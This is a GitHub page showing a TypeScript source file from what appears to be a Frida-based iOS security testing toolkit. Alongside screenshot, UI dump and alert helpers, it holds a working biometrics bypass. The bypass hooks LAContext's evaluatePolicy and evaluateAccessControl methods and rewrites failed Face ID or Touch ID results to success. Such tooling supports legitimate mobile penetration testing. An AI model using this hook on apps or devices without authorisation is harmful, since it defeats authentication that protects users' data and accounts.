-
Notifications
You must be signed in to change notification settings - Fork 820
/
userinterface.ts
193 lines (158 loc) · 7.42 KB
/
userinterface.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
// tslint:disable-next-line:no-var-requires
const sc = require("frida-screenshot");
import { colors as c } from "../lib/color";
import { IJob } from "../lib/interfaces";
import { jobs } from "../lib/jobs";
export namespace userinterface {
export const screenshot = (): any => {
// heavy lifting thanks to frida-screenshot!
// https://github.com/nowsecure/frida-screenshot
return sc();
};
export const dump = (): string => {
return ObjC.classes.UIWindow.keyWindow().recursiveDescription().toString();
};
export const alert = (message: string): void => {
const { UIAlertController, UIAlertAction, UIApplication } = ObjC.classes;
// Defining a Block that will be passed as handler parameter
// to +[UIAlertAction actionWithTitle:style:handler:]
const handler: ObjC.Block = new ObjC.Block({
argTypes: ["object"],
implementation: () => { return; },
retType: "void",
});
// Using Grand Central Dispatch to pass messages (invoke methods) in application's main thread
ObjC.schedule(ObjC.mainQueue, () => {
// Using integer numerals for preferredStyle which is of type enum UIAlertControllerStyle
const alertController: ObjC.Object = UIAlertController.alertControllerWithTitle_message_preferredStyle_(
"Alert", message, 1);
// Again using integer numeral for style parameter that is enum
const okButton: ObjC.Object = UIAlertAction.actionWithTitle_style_handler_("OK", 0, handler);
alertController.addAction_(okButton);
// Instead of using `ObjC.choose()` and looking for UIViewController instances
// on the heap, we have direct access through UIApplication:
UIApplication.sharedApplication().keyWindow()
.rootViewController().presentViewController_animated_completion_(alertController, true, NULL);
});
};
export const biometricsBypass = (): void => {
// -- Sample Objective-C
//
// LAContext *myContext = [[LAContext alloc] init];
// NSError *authError = nil;
// NSString *myLocalizedReasonString = @"Please authenticate.";
// if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthentication error:&authError]) {
// [myContext evaluatePolicy:LAPolicyDeviceOwnerAuthentication
// localizedReason:myLocalizedReasonString
// reply:^(BOOL success, NSError *error) {
// if (success) {
// dispatch_async(dispatch_get_main_queue(), ^{
// [self performSegueWithIdentifier:@"LocalAuthSuccess" sender:nil];
// });
// } else {
// dispatch_async(dispatch_get_main_queue(), ^{
// UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"Error"
// message:error.description
// delegate:self
// cancelButtonTitle:@"OK"
// otherButtonTitles:nil, nil];
// [alertView show];
// // Rather than show a UIAlert here, use the
// // error to determine if you should push to a keypad for PIN entry.
// });
// }
// }];
const job1: IJob = {
identifier: jobs.identifier(),
invocations: [],
type: "ios-biometrics-disable-evaluatePolicy",
};
const lacontext1: InvocationListener = Interceptor.attach(
ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"].implementation, {
onEnter(args) {
// localizedReason:
const reason = new ObjC.Object(args[3]);
send(
c.blackBright(`[${job1.identifier}] `) + `Localized Reason for auth requirement (evaluatePolicy): ` +
c.green(reason.toString()),
);
// get the original block that should run on success for reply:
// and save that block as a callback, to run once we change the reply
// from the OS to a true
const originalBlock = new ObjC.Block(args[4]);
const savedReplyBlock = originalBlock.implementation;
originalBlock.implementation = (success, error) => {
send(
c.blackBright(`[${job1.identifier}] `) + `OS authentication response: ` +
c.red(success),
);
if (!success === true) {
send(
c.blackBright(`[${job1.identifier}] `) +
c.greenBright("Marking OS response as True instead"),
);
// Change the success response from the OS to true
success = true;
error = null;
}
// and run the original block
savedReplyBlock(success, error);
send(
c.blackBright(`[${job1.identifier}] `) +
c.green("Biometrics bypass hook complete (evaluatePolicy)"),
);
};
},
});
// register the job
job1.invocations.push(lacontext1);
jobs.add(job1);
// -- Sample Swift
// https://gist.github.com/algrid/f3f03915f264f243b9d06e875ad198c8/raw/03998319903ad9d939f85bbcc94ce9c23042b82b/KeychainBio.swift
const job2: IJob = {
identifier: jobs.identifier(),
invocations: [],
type: "ios-biometrics-disable-evaluateAccessControl",
};
const lacontext2: InvocationListener = Interceptor.attach(
ObjC.classes.LAContext["- evaluateAccessControl:operation:localizedReason:reply:"].implementation, {
onEnter(args) {
// localizedReason:
const reason = new ObjC.Object(args[4]);
send(
c.blackBright(`[${job2.identifier}] `) + `Localized Reason for auth requirement (evaluateAccessControl): ` +
c.green(reason.toString()),
);
// get the original block that should run on success for reply:
// and save that block as a callback, to run once we change the reply
// from the OS to a true
const originalBlock = new ObjC.Block(args[5]);
const savedReplyBlock = originalBlock.implementation;
originalBlock.implementation = (success, error) => {
send(
c.blackBright(`[${job2.identifier}] `) + `OS authentication response: ` +
c.red(success),
);
if (!success === true) {
send(
c.blackBright(`[${job2.identifier}] `) +
c.greenBright("Marking OS response as True instead"),
);
// Change the success response from the OS to true
success = true;
error = null;
}
// and run the original block
savedReplyBlock(success, error);
send(
c.blackBright(`[${job2.identifier}] `) +
c.green("Biometrics bypass hook complete (evaluateAccessControl)"),
);
};
},
});
// register the job
job2.invocations.push(lacontext2);
jobs.add(job2);
};
}